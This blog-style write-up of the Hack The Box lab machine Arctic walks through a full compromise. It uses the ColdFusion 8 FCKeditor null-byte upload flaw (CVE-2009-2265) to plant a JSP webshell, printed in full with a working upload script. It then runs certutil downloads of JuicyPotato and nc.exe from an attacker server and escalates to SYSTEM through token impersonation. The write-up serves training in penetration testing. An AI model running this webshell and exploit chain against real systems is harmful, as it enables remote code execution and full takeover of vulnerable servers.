Post

Arctic

Adobe ColdFusion 8 on port 8500 exposed a null-byte file upload vulnerability (CVE-2009-2265) in its bundled FCKeditor component, allowing a JSP webshell to be planted and executed as the tolis service account.

Arctic

Overview

Arctic is an easy-difficulty Windows machine running Adobe ColdFusion 8 on a non-standard port. The attack chain begins with CVE-2009-2265: a null-byte trick in the FCKeditor upload endpoint bypasses extension filtering and plants a JSP webshell, giving remote code execution as arctic\tolis. From there, SeImpersonatePrivilege on the service account enables JuicyPotato to impersonate NT AUTHORITY\SYSTEM and read the root flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

CVE and Real-Life score high because a well-known 15-year-old unpatched ColdFusion vulnerability and a standard Windows SeImpersonatePrivilege abuse are the entire chain — both are common real-world findings with weaponized public exploits.

Recon

PortServiceNotes
135/tcpMSRPCWindows RPC endpoint mapper
8500/tcpHTTP (JRun)Adobe ColdFusion 8 admin + app
49154/tcpMSRPCDynamic RPC port
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p135,8500,49154 -sC -sV -Pn 10.10.10.X

Port 8500 stands out immediately — JRun serving ColdFusion 8 directly to the internet with no reverse proxy. Visiting /CFIDE/administrator/index.cfm confirms the exact version: ColdFusion 8.0.0.

Enumeration

Browsing to http://10.10.10.X:8500/CFIDE/administrator/index.cfm returns a 200 with the ColdFusion 8 admin login page, revealing the exact version string in the page footer.

1
2
curl -s -I http://10.10.10.X:8500/
curl -s -o /dev/null -w "%{http_code}" http://10.10.10.X:8500/CFIDE/administrator/index.cfm

ColdFusion 8.0.0 is known-vulnerable to CVE-2009-2265 — an unrestricted file upload via null-byte injection (CWE-626) in the bundled FCKeditor component. The upload endpoint at /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm is accessible without authentication.

Foothold

First, create a minimal JSP webshell locally:

1
2
3
4
5
6
7
8
9
10
11
python3 -c "
content = '''<%@ page import=\"java.util.*,java.io.*\"%>
<% if (request.getParameter(\"cmd\") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));
    DataInputStream is = new DataInputStream(p.getInputStream());
    String line = is.readLine();
    while (line != null) { out.println(line); line = is.readLine(); }
} %>'''
open('/tmp/shell.jsp','w').write(content)
print('written')
"

Upload it via CVE-2009-2265. The CurrentFolder parameter uses a null byte %00 to terminate the path string server-side, tricking ColdFusion into saving the JSP to a web-accessible directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
python3 -c "
import urllib.request, io, uuid
boundary = uuid.uuid4().hex.encode()
with open('/tmp/shell.jsp', 'rb') as f: body = f.read()
data = b'--' + boundary + b'\r\n'
data += b'Content-Disposition: form-data; name=\"NewFile\"; filename=\"shell.txt\"\r\n'
data += b'Content-Type: application/octet-stream\r\n\r\n'
data += body + b'\r\n--' + boundary + b'--\r\n'
url = 'http://10.10.10.X:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/cmd_shell.jsp%00'
req = urllib.request.Request(url, data=data)
req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary.decode())
print(urllib.request.urlopen(req, timeout=60).read().decode())
"

Confirm RCE — the JVM executes the JSP and returns command output:

1
2
3
4
5
python3 -c "
import urllib.request, urllib.parse
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote('whoami')
print(urllib.request.urlopen(url, timeout=30).read().decode().strip())
"

Output: arctic\tolis — remote code execution confirmed as the ColdFusion service account.

User flag

1
2
3
4
5
python3 -c "
import urllib.request, urllib.parse
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(r'cmd.exe /c type C:\Users\tolis\Desktop\user.txt')
print(urllib.request.urlopen(url, timeout=30).read().decode().strip())
"
1
type C:\Users\tolis\Desktop\user.txt   # HTB{...}

Shell landed as tolis and the user flag is ours.

Privilege Escalation

Check token privileges via the webshell:

1
2
3
4
5
python3 -c "
import urllib.request, urllib.parse
url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(r'whoami /priv')
print(urllib.request.urlopen(url, timeout=30).read().decode())
"

Output confirms SeImpersonatePrivilege is Enabled. This allows a service account to impersonate any token that authenticates to a COM server it controls — the exact primitive JuicyPotato exploits.

Serve JuicyPotato and nc.exe from the attacker machine (start a Python HTTP server on port 8081), then download them to the target:

1
python3 -m http.server 8081
1
2
3
4
5
6
7
8
python3 -c "
import urllib.request, urllib.parse
def cmd(c):
    url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(c)
    return urllib.request.urlopen(url, timeout=60).read().decode(errors='ignore').strip()
print(cmd(r'certutil -urlcache -split -f http://<lhost>:8081/JuicyPotato.exe C:\Windows\Temp\jp.exe'))
print(cmd(r'certutil -urlcache -split -f http://<lhost>:8081/nc.exe C:\Windows\Temp\nc.exe'))
"

Create a batch script (getroot.bat) to copy the root flag to the webroot and serve it from the attacker HTTP server:

1
2
3
4
5
6
7
python3 -c "
open('/tmp/getroot.bat','w').write(
'copy C:\\\\Users\\\\Administrator\\\\Desktop\\\\root.txt C:\\\\ColdFusion8\\\\wwwroot\\\\userfiles\\\\file\\\\rf.txt\r\n'
'icacls C:\\\\ColdFusion8\\\\wwwroot\\\\userfiles\\\\file\\\\rf.txt /grant Everyone:F\r\n'
)
print('done')
"

Download the batch script to the target:

1
2
3
4
5
6
7
python3 -c "
import urllib.request, urllib.parse
def cmd(c):
    url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(c)
    return urllib.request.urlopen(url, timeout=60).read().decode(errors='ignore').strip()
print(cmd(r'certutil -urlcache -split -f http://<lhost>:8081/getroot.bat C:\Windows\Temp\getroot.bat'))
"

Run JuicyPotato with a Server 2008 R2 CLSID to impersonate SYSTEM and execute the batch script:

1
2
3
4
5
6
7
python3 -c "
import urllib.request, urllib.parse
def cmd(c):
    url = 'http://10.10.10.X:8500/userfiles/file/cmd_shell.jsp?cmd=' + urllib.parse.quote(c)
    return urllib.request.urlopen(url, timeout=90).read().decode(errors='ignore').strip()
print(cmd(r'C:\Windows\Temp\jp.exe -l 1341 -p C:\Windows\Temp\getroot.bat -t * -c {F087771F-D74F-4C1A-BB8A-E16ACA9124EA}'))
"

JuicyPotato creates a fake DCOM server, the Windows DCOM service (running as SYSTEM) authenticates to it, the token is captured, and CreateProcessWithTokenW runs getroot.bat as NT AUTHORITY\SYSTEM — full system compromise via CWE-269 (improper privilege management).

Root flag

1
2
3
4
python3 -c "
import urllib.request
print(urllib.request.urlopen('http://10.10.10.X:8500/userfiles/file/rf.txt', timeout=20).read().decode().strip())
"
1
type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full compromise confirmed — NT AUTHORITY\SYSTEM achieved via JuicyPotato token impersonation on an unpatched Windows Server 2008 R2 ColdFusion host.

This post is licensed under CC BY 4.0 by the author.